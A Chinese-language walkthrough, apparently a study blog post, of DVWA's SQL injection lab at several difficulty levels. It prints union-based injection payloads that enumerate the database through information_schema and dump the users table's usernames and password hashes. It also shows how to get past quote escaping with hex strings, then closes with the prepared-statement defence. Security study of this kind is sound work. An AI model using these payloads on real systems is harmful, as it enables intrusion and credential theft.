0%

DVWA-SQL injection

  • 数字型与字符型

    当输入参数是整型时,语句一般为 select * from users where id=input

    可以用经典的 and 1=1and 1=2 判断,后者执行错误即为数字型

    当输入参数是字符型时,语句为 select * from users where id='input'

    and '1'='2 判断,即输入 1' and '1'='2 ,此时语句就是 select * from users where id='1' and '1'='2'

  • 流程

    • 猜解所查询的字段数目

      order by [num]

      [num] 超过字段数,查询会报错

      # 注释掉后面的多余部分

    • 获取字段显示位

      union select [num1],[num2],... 进行联合查询

      其中数字任意,只保证个数与字段数相符即可

      确定查询出的数据在网站显示的位置

      如图,显示位置就在第二段

    • 通过显示位获取数据库信息

      只需要将联合语句中的数字换成对应函数,就能在对应位置看到信息

      user() 当前用户

      database() 当前数据库

      version() 数据库版本

      @@version_compile_os 服务器操作系统版本

      @@datadir 服务器存储目录

    • 获取数据库中的表名

      information_schema. schema 记录所有库名信息的表

      information_schema.tables 记录所有表名信息的表

      information_schema.columns 记录所有列名信息的表

    • 获取表中的列名(字段)

      因为用 database() 获取到了当前数据库名 dvwa

      借用 information_schema 配合 where 语句进行查询

      information_schemamysql 自带的一张表,这张数据表保存了 Mysql 服务器所有数据库的信息,如数据库名,数据库的表,表栏的数据类型与访问权限等。该数据库拥有一个名为 tables 的数据表,该表包含两个字段 table_nametable_schema,分别记录 DBMS 中的存储的表名表名所在的数据库

      1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'# 进行查询

      PS:注意要 group_concat(table_name) ,否则只会查到第一个表

      发现报错 Illegal mix of collations for operation ‘UNION’

      这是因为 union 链接的字段 firstname surname 与 table_name 字符规则不同

      phpMyadmin 改一下排序规则

      1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#

      可以看到有两个数据库,目标肯定是 users

      看一下表中的字段名 1' union select 1, group_concat(column_name) from information_schema.columns where table_name='users'#

    • 导出数据库中的数据

      我们需要的是 user 和 password

      1' union select user,password from users# 轻松拿到

      得到了 md5 加密的密码

  • $Medium$

    发现加入了选项框,无法自行输入

    但看源码得知,输入内容在 id 中,可以考虑抓包更改

    mysqli_real_escape_string() 将特殊字符 ' " 转义,可以用十六进制表示需要加引号的数据库名称规避这个问题

    抓包到 repeater 模块中

    转换器得到 dvwa 的十六进制 64767761 ,即 0x64767761

    其余同上

  • $High$

    审查代码发现多了两个限制

    一个是 limit 1 ,只会扫出一个结果,可以用 # 避开

    另一个是查询提交页面与查询结果页面分开,目的是避免 sqlmap 的自动化注入

    但对手动注入比较友好,与 low 级别相同即可

  • $Impossible$

    学习一下防御

    is_numeric 检查 id 是否为数字

    占位符 :id ,使用 $PDO$ 对象的 prepare() 方法准备 SQL 查询语句,在其中使用占位符 :id 代替 id 参数,以避免攻击

    它与 bindParam() 结合,将参数绑定到占位符上,导致参数没有拼接在 sql 语句中,从而避免注入